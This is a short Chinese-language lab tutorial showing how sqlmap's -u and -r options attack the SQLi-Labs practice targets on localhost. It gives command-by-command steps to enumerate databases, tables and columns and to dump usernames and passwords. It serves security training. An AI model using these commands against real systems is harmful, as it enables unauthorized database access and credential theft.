sqlmap -u -r参数的使用

SQLMAP基本使用实例

-u参数(直接输入目标URL)

命令实例:sqlmap -u "http://127.0.0.1/sql/Less-1/?id=1"
验证过程
判断可注入的参数
判断可以用哪种SQL注入技术来注入

识别出所有存在的注入类型
尝试去判定数据库版本、开发语言、操作系统版本

目标靶机:SQL-Lab的Less-1
要求:利用SQLMAP实现注入，获取users表中存储的用户名、密码

-u参数的用法：

爆当前数据库的库名

sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-db

 

 爆指定数据库中的表名

sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D 表名 --tables

sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security --tables

 

爆指定数据表中的字段名

sqlmap -u "http://127.0.0.1/Less-1/?id=1" -D 数据库名 -T 表名--columns

sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users --columns

爆指定字段的值

sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D 数据库名 -T 表名 -C 字段名1,字段名2... （相互用逗号隔开）--dump

sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users -C username,password --dump

 

2.-r参数(从文本文件中获取http请求)
命令实例: sqlmap -r /usr/a.txt
说明:使用该命令时须指明a.txt（保存着http请求包)文件所在的绝对路径验证过程:与-u参数类似
判断可注入的参数
判断可以用哪种SQL注入技术来注入

识别出所有存在的注入类型
尝试去判定数据库版本、开发语言、操作系统版本

目标靶机: SQLi-Lab的less-12
要求:利用SQLMAP实现注入，获取users表中存储的用户名、密码

利用Burpsuite截取HTTP Request报文

 将截取到的HTTP Request报文保存在文本文件中

 利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆当前数据库的库名
sqlmap.py -r D:\python\a.txt  --current-db

 利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定数据库的表名

sqlmap.py -r D:\python\a.txt  -D security --tables

 

 利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定数据表的字段名

sqlmap.py -r D:\python\a.txt -D security -T users --columns

 利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定字段的值

sqlmap.py -r D:\python\a.txt  -D security -T users -C username,password --dump